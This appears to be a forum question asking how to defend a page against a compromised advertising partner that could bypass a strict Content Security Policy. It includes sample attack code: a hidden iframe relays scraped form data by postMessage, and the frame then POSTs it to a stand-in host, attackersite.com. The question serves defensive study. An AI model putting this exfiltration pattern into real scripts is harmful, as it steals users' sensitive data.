Assume we have a webpage with sensitive data. The page uses a marketing partner advertisingpartner.com which collects data via third-party cookies in a foreign iframe. We have applied a relatively strict CSP:
connect-src 'self';
frame-ancestors 'self';
frame-src 'self' https://advertisingpartner.com;
media-src 'self';
object-src 'none';
script-src 'self' 'unsafe-inline' https://advertisingpartner.com;
style-srce 'self' 'unsafe-inline';
The marketing script is then loaded via a normal script tag and injects an iframe. Now suppose that the marketing partner is compromised, and code is added to create an instance of the tracking iframe:
var data = scrape_sensitive_data_from_forms();
var frame = document.createElement("iframe");
frame.id = "attackerframe";
frame.style.display = "none";
frame.onload = function() {
document.getElementById("attackerframe").contentWindow.postMessage(data, "https://advertisingpartner.com");
};
frame.src = "https://advertisingpartner.com/trackingframe.html";
document.body.appendChild(frame);
Their tracking frame has appropriate message-receiving capabilities added to retrieve and exfiltrate the data. It is under a different domain than the main site and thus does not have the CSP applied to it:
function receiveMessage(event) {
var req = new XMLHttpRequest();
req.open("POST", "https://attackersite.com/collectsensitivedata.php", true);
req.send(event.data);
}
window.addEventListener("message", receiveMessage, false);
What can save me from this attack?